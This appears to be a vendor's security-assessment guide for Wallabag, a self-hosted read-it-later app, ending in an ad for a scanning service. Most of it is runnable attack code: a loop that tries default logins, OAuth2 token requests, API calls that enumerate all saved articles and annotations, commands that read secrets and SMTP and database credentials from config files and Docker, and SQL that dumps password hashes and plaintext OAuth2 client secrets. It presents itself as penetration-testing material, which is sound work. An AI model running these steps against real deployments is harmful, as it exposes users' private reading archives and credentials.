Wallabag is a widely deployed open-source read-it-later application (Pocket/Instapaper alternative) that saves full article content from URLs for offline reading — it accumulates a sensitive archive of everything a user has saved to read: confidential reports, private articles behind paywalls, strategic research, and personal content. Key assessment areas: wallabag/wallabag are the documented default credentials; SYMFONY__ENV__SECRET signs Symfony session tokens; OAuth2 client credentials from configuration enable API access to all saved content; PostgreSQL/MySQL/SQLite stores full article HTML content with user annotations; and registration controls may allow unauthorized account creation. This guide covers systematic Wallabag security assessment.
# Wallabag — default credentials and OAuth2 authentication testing
WALLABAG_URL="https://wallabag.example.com"
# Test documented default credentials
for CRED in "wallabag:wallabag" "admin:admin" "admin:wallabag"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Wallabag uses Symfony form login
CSRF=$(curl -s -c /tmp/wb_cookies.txt "${WALLABAG_URL}/login" 2>/dev/null | \
grep -o 'name="_csrf_token".*value="[^"]*"' | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
AUTH=$(curl -s -b /tmp/wb_cookies.txt -c /tmp/wb_cookies.txt \
-X POST "${WALLABAG_URL}/login_check" \
-d "_username=${USER}&_password=${PASS}&_csrf_token=${CSRF}" \
-D /tmp/wb_headers.txt 2>/dev/null)
LOC=$(grep -i "^location:" /tmp/wb_headers.txt | tr -d '\r' | head -1)
[ -z "$LOC" ] && STATUS="FAIL" || STATUS="OK redirect=${LOC}"
echo "${USER}:${PASS}: ${STATUS}"
done
# OAuth2 API token generation (client_credentials flow)
# client_id and client_secret are in the Wallabag API management page
CLIENT_ID="your-wallabag-client-id"
CLIENT_SECRET="your-wallabag-client-secret"
OAUTH_TOKEN=$(curl -s -X POST "${WALLABAG_URL}/oauth/v2/token" \
-d "grant_type=password&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}&username=wallabag&password=wallabag" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('access_token','')
if t:
print(f'ACCESS_TOKEN={t}')
print(f'Expires: {d.get(\"expires_in\")}s')
else:
print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "OAuth2 result: ${OAUTH_TOKEN}"
# Wallabag API — article content and annotation enumeration
WALLABAG_URL="https://wallabag.example.com"
ACCESS_TOKEN="your-oauth2-access-token"
# Get all saved entries (articles)
curl -s "${WALLABAG_URL}/api/entries.json?perPage=30&page=1" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
embedded = d.get('_embedded',{})
items = embedded.get('items',[])
total = d.get('total',len(items))
print(f'Saved articles: {total} total, showing {len(items)}')
for e in items[:10]:
# Each entry contains the full cached article HTML content
content_len = len(e.get('content',''))
preview = e.get('content','')[:100].replace('<[^>]*>', '').replace('\n',' ')[:80]
print(f' [{e.get(\"id\")}] {e.get(\"title\",\"\")[:50]}')
print(f' url={e.get(\"url\",\"\")[:60]}')
print(f' content_bytes={content_len} reading_time={e.get(\"reading_time\")}m')
print(f' preview: {preview}')
" 2>/dev/null
# Get specific entry with full content
ENTRY_ID="123"
curl -s "${WALLABAG_URL}/api/entries/${ENTRY_ID}.json" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Title: {d.get(\"title\")}')
print(f'URL: {d.get(\"url\")}')
print(f'Is Starred: {d.get(\"is_starred\")} Is Archived: {d.get(\"is_archived\")}')
print(f'Tags: {[t.get(\"label\") for t in d.get(\"tags\",[])]}')
# Full article content available in d['content'] — HTML of the saved article
content = d.get('content','')
print(f'Content preview: {content[:200]}')
" 2>/dev/null
# Get all annotations (user notes on articles)
curl -s "${WALLABAG_URL}/api/annotations/${ENTRY_ID}.json" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
rows = d.get('rows',[])
print(f'Annotations: {len(rows)}')
for a in rows[:5]:
# Annotations contain user's personal notes and highlighted text
print(f' Text: {a.get(\"text\",\"\")[:60]}')
print(f' Comment: {a.get(\"comment\",\"\")[:80]}')
" 2>/dev/null
# Get all tags (reveals user's organizational categories)
curl -s "${WALLABAG_URL}/api/tags.json" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tags = d if isinstance(d,list) else []
print(f'Tags: {len(tags)}')
for t in tags[:20]:
print(f' {t.get(\"label\")} ({t.get(\"slug\")})')
" 2>/dev/null
# Wallabag Symfony secret and database credential extraction
# app/config/parameters.yml — Wallabag configuration (Symfony parameters)
cat /var/www/wallabag/app/config/parameters.yml 2>/dev/null | grep -E "secret|database|mailer|twofactor"
# database_driver: pdo_sqlite / pdo_pgsql / pdo_mysql
# database_host, database_port, database_name
# database_user, database_password — plaintext DB credentials
# secret — Symfony session signing secret
# twofactor_sender — email configuration
# mailer_transport/user/password — SMTP credentials
# Docker environment variables
docker inspect wallabag 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SYMFONY','DATABASE','SECRET','MYSQL','POSTGRES','MAILER']):
print(e)
" 2>/dev/null
# SYMFONY__ENV__SECRET — session signing key
# SYMFONY__ENV__DATABASE_DRIVER/HOST/USER/PASS
# POPULATE_DATABASE — admin password on first run
# PostgreSQL — all Wallabag data
DB_URL="postgresql://wallabag:PASSWORD@localhost/wallabag"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users
SELECT u.id, u.username, u.email, u.password,
u.enabled, u.created_at, u.last_login,
u.twofactor_authentication
FROM wallabag_user u
ORDER BY u.created_at ASC
LIMIT 10;
EOF
-- All saved entries with full content
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT e.id, e.title, e.url,
LEFT(e.content,200) as content_preview,
e.is_archived, e.is_starred,
e.reading_time, e.created_at,
u.username as owner
FROM wallabag_entry e
JOIN wallabag_user u ON e.user_id = u.id
ORDER BY e.created_at DESC
LIMIT 20;
EOF
-- content column: full cached HTML of saved article
-- All OAuth2 clients (API credentials)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT c.id, c.name, c.random_id,
c.secret, c.redirect_uris,
c.allowed_grant_types
FROM wallabag_oauth2_clients c
LIMIT 10;
EOF
-- secret: OAuth2 client secret in plaintext — enables API access to all user articles
| Security Test | Method | Risk |
|---|---|---|
| Default wallabag/wallabag credential access | POST /login_check with wallabag/wallabag — documented default never changed; full access to all saved articles, annotations, and account settings including OAuth2 client management | Critical |
| Symfony secret extraction and session forgery | Read parameters.yml SYMFONY__ENV__SECRET — Symfony session signing key; forge valid session cookies for any Wallabag user; full read/write access to all saved content | Critical |
| OAuth2 client secret extraction and API token generation | SELECT secret FROM wallabag_oauth2_clients — plaintext client secrets; generate API access tokens for all user articles without knowing user passwords; token valid for full API access | High |
| Saved article content bulk exfiltration | GET /api/entries.json — all saved articles with full cached HTML content including content from paywalled articles, confidential reports, and private research materials | High |
| User annotation extraction | GET /api/annotations/{id}.json — personal notes and highlighted text from each saved article; reveals user's analysis and commentary on saved content | Medium |
Ironimo tests Wallabag deployments for default wallabag/wallabag credential access, Symfony secret extraction and session token forgery, OAuth2 client secret extraction for API token generation, saved article content bulk exfiltration via API, user annotation and personal note extraction, PostgreSQL wallabag_entry full content access, tag enumeration for reading profile analysis, SMTP credential extraction from parameters.yml, Docker SYMFONY__ENV__SECRET plaintext exposure, and open user registration testing.
Start free scan